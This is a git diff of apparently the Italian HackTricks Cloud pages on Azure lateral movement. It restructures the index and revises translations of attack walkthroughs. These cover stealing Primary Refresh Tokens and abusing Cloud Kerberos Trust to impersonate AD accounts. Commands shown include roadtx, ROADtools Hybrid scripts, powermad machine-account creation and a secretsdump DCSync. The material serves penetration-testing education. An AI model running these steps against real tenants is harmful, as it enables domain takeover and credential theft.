diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 48a80565e..2e6ba8b7c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,22 +442,19 @@ - [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md) - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) + - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) + - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index feb514172..64a0d9ff6 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,4 +1,4 @@ -# Az - Registrazione Dispositivo +# Az - Registrazione del Dispositivo {{#include ../../banners/hacktricks-training.md}} @@ -24,13 +24,13 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -Il **TPM** **protegge** contro l'**estrazione** della chiave da un dispositivo spento (se protetto da PIN) e dall'estrazione del materiale privato dallo strato OS.\ -Ma non **protegge** contro il **sniffing** della connessione fisica tra il TPM e la CPU o **l'uso del materiale crittografico** nel TPM mentre il sistema è in esecuzione da un processo con diritti **SYSTEM**. +Il **TPM** **protegge** contro l'estrazione della chiave da un dispositivo spento (se protetto da PIN) e dall'estrazione del materiale privato dallo strato OS.\ +Ma **non protegge** contro il **sniffing** della connessione fisica tra il TPM e la CPU o **l'uso del materiale crittografico** nel TPM mentre il sistema è in esecuzione da un processo con diritti **SYSTEM**. -Se controlli la pagina seguente, vedrai che **rubare il PRT** può essere utilizzato per accedere come un **utente**, il che è ottimo perché il **PRT è situato nei dispositivi**, quindi può essere rubato da essi (o se non rubato, abusato per generare nuove chiavi di firma): +Se controlli la seguente pagina, vedrai che **rubare il PRT** può essere utilizzato per accedere come un **utente**, il che è ottimo perché il **PRT si trova nei dispositivi**, quindi può essere rubato da essi (o se non rubato, abusato per generare nuove chiavi di firma): {{#ref}} -az-lateral-movement-cloud-on-prem/pass-the-prt.md +az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} ## Registrazione di un dispositivo con token SSO @@ -55,9 +55,9 @@ Quale ti darà un **certificato che puoi usare per richiedere PRT in futuro**. P > [!CAUTION] > Questo attacco è stato risolto a settembre 2021 poiché non puoi più registrare nuovi dispositivi utilizzando token SSO. Tuttavia, è ancora possibile registrare dispositivi in modo legittimo (avendo nome utente, password e MFA se necessario). Controlla: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Sovrascrivere un ticket dispositivo +## Sovrascrivere un ticket di dispositivo -Era possibile **richiedere un ticket dispositivo**, **sovrascrivere** quello attuale del dispositivo e durante il flusso **rubare il PRT** (quindi non è necessario rubarlo dal TPM. Per maggiori informazioni [**controlla questo intervento**](https://youtu.be/BduCn8cLV1A). +Era possibile **richiedere un ticket di dispositivo**, **sovrascrivere** quello attuale del dispositivo e durante il flusso **rubare il PRT** (quindi non è necessario rubarlo dal TPM. Per maggiori informazioni [**controlla questo intervento**](https://youtu.be/BduCn8cLV1A).
@@ -71,7 +71,7 @@ Era possibile **richiedere un ticket dispositivo**, **sovrascrivere** quello att Riepilogo dell'attacco: - È possibile **sovrascrivere** la chiave **WHFB registrata** da un **dispositivo** tramite SSO -- Questo **annulla la protezione TPM** poiché la chiave viene **catturata durante la generazione** della nuova chiave +- Questo **bypassa la protezione TPM** poiché la chiave viene **catturata durante la generazione** della nuova chiave - Questo fornisce anche **persistenza**
@@ -82,7 +82,7 @@ Quindi, è possibile generare una nuova chiave con: ```bash roadtx genhellokey -d -k tempkey.key ``` -e poi PATCH le informazioni del searchableDeviceKey: +e poi PATCH le informazioni di searchableDeviceKey:
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index eb35c8b9a..61f43c77e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,65 +1,39 @@ # Az - Lateral Movement (Cloud - On-Prem) -## Az - Lateral Movement (Cloud - On-Prem) - {{#include ../../../banners/hacktricks-training.md}} -### Macchine On-Prem collegate al cloud +## Informazioni di Base -Ci sono diversi modi in cui una macchina può essere collegata al cloud: +Questa sezione tratta le tecniche di pivoting per spostarsi da un tenant Entra ID compromesso all'Active Directory (AD) on-premises o da un AD compromesso al tenant Entra ID. -#### Azure AD joined +## Tecniche di Pivoting -
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Se un attaccante può controllare o creare un account computer AD e accedere alla condivisione di distribuzione GPO di Azure Arc, può decrittografare il segreto del Service Principal memorizzato e usarlo per autenticarsi ad Azure come il service principal associato, compromettendo completamente l'ambiente Azure collegato. -#### Workplace joined +- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Come effettuare il pivoting da Entra ID a AD quando il Cloud Kerberos Trust è configurato. Un Global Admin in Entra ID (Azure AD) può abusare del Cloud Kerberos Trust e dell'API di sincronizzazione per impersonare account AD ad alta privilegio, ottenere i loro ticket Kerberos o hash NTLM e compromettere completamente l'Active Directory on-prem, anche se quegli account non sono mai stati sincronizzati nel cloud, creando effettivamente un ponte per l'escalation dei privilegi da cloud a AD. -

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

+- [**Cloud Sync**](az-cloud-sync.md): Come abusare del Cloud Sync per spostarsi dal cloud all'AD on-premises e viceversa. -#### Hybrid joined +- [**Connect Sync**](az-connect-sync.md): Come abusare del Connect Sync per spostarsi dal cloud all'AD on-premises e viceversa. -

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

+- [**Domain Services**](az-domain-services.md): Cos'è il servizio Azure Domain Services e come effettuare il pivoting da Entra ID all'AD che genera. -#### Workplace joined su AADJ o Hybrid +- [**Federation**](az-federation.md): Come abusare della Federation per spostarsi dal cloud all'AD on-premises e viceversa. -

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Attacchi vari che possono essere utilizzati per effettuare il pivoting dal cloud all'AD on-premises e viceversa. -### Token e limitazioni +- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Dove trovare le credenziali per il cloud quando un PC è compromesso. -In Azure AD, ci sono diversi tipi di token con limitazioni specifiche: +- [**Pass the Certificate**](az-pass-the-certificate.md): Generare un certificato basato sul PRT per accedere da una macchina a un'altra. -- **Access tokens**: Utilizzati per accedere a API e risorse come Microsoft Graph. Sono legati a un client e a una risorsa specifici. -- **Refresh tokens**: Emessi alle applicazioni per ottenere nuovi access tokens. Possono essere utilizzati solo dall'applicazione a cui sono stati emessi o da un gruppo di applicazioni. -- **Primary Refresh Tokens (PRT)**: Utilizzati per il Single Sign-On su dispositivi Azure AD joined, registrati o hybrid joined. Possono essere utilizzati nei flussi di accesso del browser e per accedere ad applicazioni mobili e desktop sul dispositivo. -- **Windows Hello for Business keys (WHFB)**: Utilizzati per l'autenticazione senza password. Viene utilizzato per ottenere i Primary Refresh Tokens. +- [**Pass the Cookie**](az-pass-the-cookie.md): Rubare i cookie di Azure dal browser e usarli per accedere. -Il tipo di token più interessante è il Primary Refresh Token (PRT). +- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Cos'è il PRT, come rubarlo e usarlo per accedere alle risorse Azure impersonando l'utente. -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} +- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Come abusare della Pass-through Authentication per spostarsi dal cloud all'AD on-premises e viceversa. -### Tecniche di Pivoting +- [**Seamless SSO**](az-seamless-sso.md): Come abusare del Seamless SSO per spostarsi da on-prem al cloud. -Dal **dispositivo compromesso al cloud**: - -- [**Pass the Cookie**](az-pass-the-cookie.md): Rubare i cookie di Azure dal browser e usarli per accedere -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dumpare la memoria dei processi locali sincronizzati con il cloud (come excel, Teams...) e trovare access tokens in chiaro. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing del PRT per abusarne -- [**Pass the PRT**](pass-the-prt.md): Rubare il PRT del dispositivo per accedere ad Azure impersonandolo. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generare un certificato basato sul PRT per accedere da una macchina a un'altra - -Dalla compromissione di **AD** alla compromissione del **Cloud** e dalla compromissione del **Cloud** alla compromissione di **AD**: - -- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Un altro modo per pivotare dal cloud a On-Prem è** [**abusing Intune**](../az-services/intune.md) - -#### [Roadtx](https://github.com/dirkjanm/ROADtools) - -Questo strumento consente di eseguire diverse azioni come registrare una macchina in Azure AD per ottenere un PRT e utilizzare PRT (legittimi o rubati) per accedere a risorse in vari modi. Questi non sono attacchi diretti, ma facilitano l'uso dei PRT per accedere a risorse in modi diversi. Trova ulteriori informazioni in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) - -## Riferimenti - -- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- **Un altro modo per effettuare il pivoting dal cloud all'On-Prem è** [**abusare di Intune**](../az-services/intune.md) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 16f180846..f36adfea7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,14 +4,14 @@ ### Identifying the Issues -Azure Arc consente l'integrazione di nuovi server interni (server di dominio uniti) in Azure Arc utilizzando il metodo Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. +Azure Arc consente l'integrazione di nuovi server interni (server del dominio uniti) in Azure Arc utilizzando il metodo del Group Policy Object. Per facilitare questo, Microsoft fornisce un toolkit di distribuzione necessario per avviare la procedura di onboarding. All'interno del file ArcEnableServerGroupPolicy.zip, si possono trovare i seguenti script: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. Quando viene eseguito, lo script DeployGPO.ps1 esegue le seguenti azioni: 1. Crea il GPO di Onboarding dei Server Azure Arc all'interno del dominio locale. 2. Copia lo script di onboarding EnableAzureArc.ps1 nella condivisione di rete designata creata per il processo di onboarding, che contiene anche il pacchetto di installazione di Windows. -Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti anche allo script. +Quando si esegue questo script, gli amministratori di sistema devono fornire due parametri principali: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Inoltre, richiede altri parametri come il dominio, il FQDN del server che ospita la condivisione e il nome della condivisione. Ulteriori dettagli come l'ID del tenant, il gruppo di risorse e altre informazioni necessarie devono essere forniti allo script. Un segreto crittografato viene generato nella directory AzureArcDeploy sulla condivisione specificata utilizzando la crittografia DPAPI-NG. Il segreto crittografato è memorizzato in un file chiamato encryptedServicePrincipalSecret. Prova di questo può essere trovata nello script DeployGPO.ps1, dove la crittografia viene eseguita chiamando ProtectBase64 con $descriptor e $ServicePrincipalSecret come input. Il descriptor consiste negli SID dei gruppi Domain Computer e Domain Controller, garantendo che il ServicePrincipalSecret possa essere decrittografato solo dai Domain Controllers e dai gruppi di sicurezza Domain Computers, come indicato nei commenti dello script. ```bash @@ -30,7 +30,7 @@ Abbiamo le seguenti condizioni: 2. Abbiamo la capacità di creare o assumere il controllo di un account computer all'interno di Active Directory. 3. Abbiamo scoperto una condivisione di rete contenente la directory AzureArcDeploy. -Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre configurazioni errate. +Ci sono diversi metodi per ottenere un account macchina all'interno di un ambiente AD. Uno dei più comuni è sfruttare il quota degli account macchina. Un altro metodo prevede il compromesso di un account macchina attraverso ACL vulnerabili o varie altre misconfigurazioni. ```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md similarity index 69% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md index 652967cd3..652788a5c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md @@ -6,32 +6,32 @@ ## Panoramica della Relazione di Fiducia Kerberos -**Cloud Kerberos Trust (Entra ID -> AD)** -- Questa funzionalità (parte di Windows Hello for Business) stabilisce una fiducia unidirezionale in cui l'AD on-prem **si fida di Entra ID** per emettere ticket Kerberos per l'AD. Abilitandola si crea un oggetto computer **AzureADKerberos$** nell'AD (che appare come un Domain Controller in sola lettura) e un account **`krbtgt_AzureAD`** collegato (un KRBTGT secondario). Entra ID detiene le chiavi per questi account e può emettere TGT Kerberos "parziali" per gli utenti AD. I domain controller AD onoreranno questi ticket, ma con restrizioni simili a RODC: per impostazione predefinita, **i gruppi ad alta privilegio (Domain Admins, Enterprise Admins, ecc.) sono *negati*** e gli utenti normali sono autorizzati. Questo impedisce a Entra ID di autenticare gli amministratori di dominio tramite la fiducia in condizioni normali. Tuttavia, come vedremo, un attaccante con privilegi sufficienti in Entra ID può abusare di questo design di fiducia. +**Cloud Kerberos Trust (Entra ID -> AD)** -- Questa funzionalità (parte di Windows Hello for Business) stabilisce una fiducia unidirezionale in cui l'AD on-prem **si fida di Entra ID** per emettere ticket Kerberos per l'AD. Abilitandola si crea un oggetto computer **AzureADKerberos$** in AD (che appare come un Domain Controller in sola lettura) e un account **`krbtgt_AzureAD`** collegato (un KRBTGT secondario). Entra ID detiene le chiavi per questi account e può emettere TGT Kerberos "parziali" per gli utenti AD. I domain controller AD onoreranno questi ticket, ma con restrizioni simili a RODC: per impostazione predefinita, **i gruppi ad alta privilegio (Domain Admins, Enterprise Admins, ecc.) sono *negati*** e gli utenti normali sono autorizzati. Questo impedisce a Entra ID di autenticare gli amministratori di dominio tramite la fiducia in condizioni normali. Tuttavia, come vedremo, un attaccante con privilegi sufficienti in Entra ID può abusare di questo design di fiducia. ## Pivoting da Entra ID a On-Prem AD -**Scenario:** L'organizzazione target ha **Cloud Kerberos Trust** abilitato per l'autenticazione senza password. Un attaccante ha ottenuto privilegi di **Global Administrator** in Entra ID (Azure AD) ma non controlla ancora l'AD on-prem. L'attaccante ha anche un accesso alla rete a un Domain Controller (tramite VPN o una VM Azure in rete ibrida). Utilizzando la fiducia cloud, l'attaccante può sfruttare il controllo di Azure AD per ottenere un accesso a livello di **Domain Admin** nell'AD. +**Scenario:** L'organizzazione target ha **Cloud Kerberos Trust** abilitato per l'autenticazione senza password. Un attaccante ha ottenuto privilegi di **Global Administrator** in Entra ID (Azure AD) ma non controlla ancora l'AD on-prem. L'attaccante ha anche un accesso alla rete a un Domain Controller (tramite VPN o una VM Azure in rete ibrida). Utilizzando la fiducia cloud, l'attaccante può sfruttare il controllo di Azure AD per ottenere un accesso a livello di **Domain Admin** in AD. **Prerequisiti:** -- **Cloud Kerberos Trust** è configurato nell'ambiente ibrido (indicatore: esiste un account RODC `AzureADKerberos$` nell'AD). +- **Cloud Kerberos Trust** è configurato nell'ambiente ibrido (indicatore: esiste un account RODC `AzureADKerberos$` in AD). -- L'attaccante ha diritti di **Global Admin (o Hybrid Identity Admin)** nel tenant di Entra ID (questi ruoli possono utilizzare l'**API di sincronizzazione** di AD Connect per modificare gli utenti di Azure AD). +- L'attaccante ha diritti di **Global Admin (o Hybrid Identity Admin)** nel tenant di Entra ID (questi ruoli possono utilizzare l'API di **synchronization** di AD Connect per modificare gli utenti di Azure AD). - Almeno un **account utente ibrido** (esiste sia in AD che in AAD) su cui l'attaccante può autenticarsi. Questo potrebbe essere ottenuto conoscendo o reimpostando le sue credenziali o assegnando un metodo senza password (ad es. un Temporary Access Pass) per generare un Primary Refresh Token (PRT) per esso. -- Un **account target AD on-prem** con privilegi elevati che *non* è nella politica di "negazione" predefinita RODC. In pratica, un ottimo obiettivo è l'**account di sincronizzazione AD Connect** (spesso chiamato **MSOL_***), che ha diritti DCSync (replicazione) in AD ma di solito non è membro dei gruppi di amministrazione integrati. Questo account di solito non è sincronizzato con Entra ID, rendendo il suo SID disponibile per impersonare senza conflitto. +- Un **account target AD on-prem** con privilegi elevati che *non* è nella policy di "negazione" predefinita di RODC. In pratica, un ottimo obiettivo è l'**account di sincronizzazione AD Connect** (spesso chiamato **MSOL_***), che ha diritti DCSync (replicazione) in AD ma di solito non è membro dei gruppi di amministrazione integrati. Questo account di solito non è sincronizzato con Entra ID, rendendo il suo SID disponibile per impersonare senza conflitto. **Passi dell'Attacco:** -1. **Ottenere Accesso all'API di sincronizzazione Azure AD:** Utilizzando l'account Global Admin, acquisire un token di accesso per l'**API di Provisioning (sync) di Azure AD**. Questo può essere fatto con strumenti come **ROADtools** o **AADInternals**. Ad esempio, con ROADtools (roadtx): +1. **Ottenere Accesso all'API di sincronizzazione di Azure AD:** Utilizzando l'account Global Admin, acquisire un token di accesso per l'API di **Provisioning (sync)** di Azure AD. Questo può essere fatto con strumenti come **ROADtools** o **AADInternals**. Ad esempio, con ROADtools (roadtx): ```bash # Using roadtx to get an Azure AD Graph token (no MFA) roadtx gettokens -u -p --resource aadgraph ``` *(In alternativa, `Connect-AADInt` di AADInternals può essere utilizzato per autenticarsi come Global Admin.)* -2. **Modifica gli attributi On-Prem di un utente ibrido:** Sfrutta l'**API di sincronizzazione di Azure AD** per impostare l'**Identificatore di Sicurezza (SID) onPremises** e il **SAMAccountName onPremises** di un utente ibrido scelto per corrispondere all'account AD target. Questo informa efficacemente Azure AD che l'utente cloud corrisponde all'account on-prem che vogliamo impersonare. Utilizzando il toolkit open-source **ROADtools Hybrid**: +2. **Modifica gli attributi On-Prem di un utente ibrido:** Sfrutta l'API di **synchronization** di Azure AD per impostare l'**onPremises Security Identifier (SID)** e l'**onPremises SAMAccountName** di un utente ibrido scelto per corrispondere all'account AD target. Questo informa efficacemente Azure AD che l'utente cloud corrisponde all'account on-prem che vogliamo impersonare. Utilizzando il toolkit open-source **ROADtools Hybrid**: ```bash # Example: modify a hybrid user to impersonate the MSOL account python3 modifyuser.py -u -p \ @@ -40,11 +40,11 @@ python3 modifyuser.py -u -p \ ``` > L'`sourceAnchor` (ID immutabile) dell'utente è necessario per identificare l'oggetto Azure AD da modificare. Lo strumento imposta il SID on-prem e il nome account SAM dell'utente ibrido ai valori del target (ad esempio, il SID e il SAM dell'account MSOL_xxxx). Azure AD normalmente non consente di modificare questi attributi tramite Graph (sono di sola lettura), ma l'API del servizio di sincronizzazione lo consente e gli Amministratori Globali possono invocare questa funzionalità di sincronizzazione. -3. **Ottenere un TGT parziale da Azure AD:** Dopo la modifica, autenticati come utente ibrido su Azure AD (ad esempio, ottenendo un PRT su un dispositivo o utilizzando le proprie credenziali). Quando l'utente accede (soprattutto su un dispositivo Windows unito al dominio o a Entra), Azure AD emetterà un **TGT Kerberos parziale (TGT****AD**) per quell'account perché Cloud Kerberos Trust è abilitato. Questo TGT parziale è crittografato con la chiave AzureADKerberos$ RODC e include il **SID target** che abbiamo impostato. Possiamo simulare questo richiedendo un PRT per l'utente tramite ROADtools: +3. **Ottenere un TGT parziale da Azure AD:** Dopo la modifica, autenticati come utente ibrido su Azure AD (ad esempio, ottenendo un PRT su un dispositivo o utilizzando le loro credenziali). Quando l'utente accede (soprattutto su un dispositivo Windows unito al dominio o a Entra), Azure AD emetterà un **TGT Kerberos parziale (TGT****AD**) per quell'account perché il Cloud Kerberos Trust è abilitato. Questo TGT parziale è crittografato con la chiave AzureADKerberos$ RODC e include il **SID target** che abbiamo impostato. Possiamo simulare questo richiedendo un PRT per l'utente tramite ROADtools: ```bash roadtx getprt -u -p -d ``` -Questo genera un file `.prt` contenente il TGT parziale e la chiave di sessione. Se l'account era solo cloud, Azure AD include comunque un TGT_AD nella risposta PRT. +Questo produce un file `.prt` contenente il TGT parziale e la chiave di sessione. Se l'account era solo cloud password, Azure AD include comunque un TGT_AD nella risposta PRT. 4. **Scambiare il TGT parziale per un TGT completo (su AD):** Il TGT parziale può ora essere presentato al Domain Controller on-prem per ottenere un **TGT completo** per l'account target. Facciamo questo eseguendo una richiesta TGS per il servizio `krbtgt` (il servizio TGT principale del dominio) -- essenzialmente aggiornando il biglietto a un TGT normale con un PAC completo. Sono disponibili strumenti per automatizzare questo scambio. Ad esempio, utilizzando lo script di ROADtools Hybrid: ```bash @@ -53,14 +53,14 @@ python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash ``` Questo script (o equivalenti di Impacket) contatterà il Domain Controller e recupererà un TGT valido per l'account AD target, inclusa l'hash NTLM dell'account se viene utilizzata l'estensione Kerberos speciale. L'estensione **`KERB-KEY-LIST-REQ`** è inclusa automaticamente per chiedere al DC di restituire l'hash NTLM dell'account target nella risposta crittografata. Il risultato è una cache di credenziali (`full_tgt.ccache`) per l'account target *o* l'hash della password NTLM recuperato. -5. **Impersonare il Target e Elevare a Domain Admin:** Ora l'attaccante controlla effettivamente **l'account AD target**. Ad esempio, se il target era l'account **MSOL** di AD Connect, ha diritti di replica sulla directory. L'attaccante può eseguire un attacco **DCSync** utilizzando le credenziali di quell'account o il TGT Kerberos per estrarre gli hash delle password da AD (incluso l'account di dominio KRBTGT). Ad esempio: +5. **Impersonare il Target e Elevare a Domain Admin:** Ora l'attaccante controlla effettivamente **l'account AD target**. Ad esempio, se il target era l'account AD Connect **MSOL**, ha diritti di replica sulla directory. L'attaccante può eseguire un attacco **DCSync** utilizzando le credenziali di quell'account o il TGT Kerberos per estrarre gli hash delle password da AD (incluso l'account di dominio KRBTGT). Ad esempio: ```bash # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL ``` Questo estrae tutti gli hash delle password degli utenti AD, fornendo all'attaccante l'hash KRBTGT (permettendo loro di forgiare biglietti Kerberos di dominio a piacimento) e di fatto privilegi di **Domain Admin** su AD. Se l'account target fosse un altro utente privilegiato, l'attaccante potrebbe utilizzare il TGT completo per accedere a qualsiasi risorsa di dominio come quell'utente. -6. **Pulizia:** Facoltativamente, l'attaccante può ripristinare il `onPremisesSAMAccountName` e il SID originali dell'utente Azure AD modificato tramite la stessa API o semplicemente eliminare qualsiasi utente temporaneo creato. In molti casi, il successivo ciclo di sincronizzazione di Azure AD Connect ripristinerà automaticamente le modifiche non autorizzate sugli attributi sincronizzati. (Tuttavia, a questo punto il danno è fatto -- l'attaccante ha privilegi DA.) +6. **Pulizia:** Facoltativamente, l'attaccante può ripristinare il `onPremisesSAMAccountName` originale e il SID dell'utente Azure AD modificato tramite la stessa API o semplicemente eliminare qualsiasi utente temporaneo creato. In molti casi, il successivo ciclo di sincronizzazione di Azure AD Connect ripristinerà automaticamente le modifiche non autorizzate sugli attributi sincronizzati. (Tuttavia, a questo punto il danno è fatto -- l'attaccante ha privilegi DA.) > [!WARNING] > Abusando del meccanismo di fiducia e sincronizzazione del cloud, un Global Admin di Azure AD può impersonare quasi *qualsiasi* account AD non esplicitamente protetto dalla politica RODC, anche se quell'account non è mai stato sincronizzato con il cloud. In una configurazione predefinita, questo **colma una fiducia completa dalla compromissione di Azure AD alla compromissione di AD on-prem**. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md similarity index 83% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index beecf3ad4..af5d4a308 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -12,12 +12,12 @@ Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che nella directory On-Premise: -- In Entra ID viene creato l'utente `On-Premises Directory Synchronization Service Account` 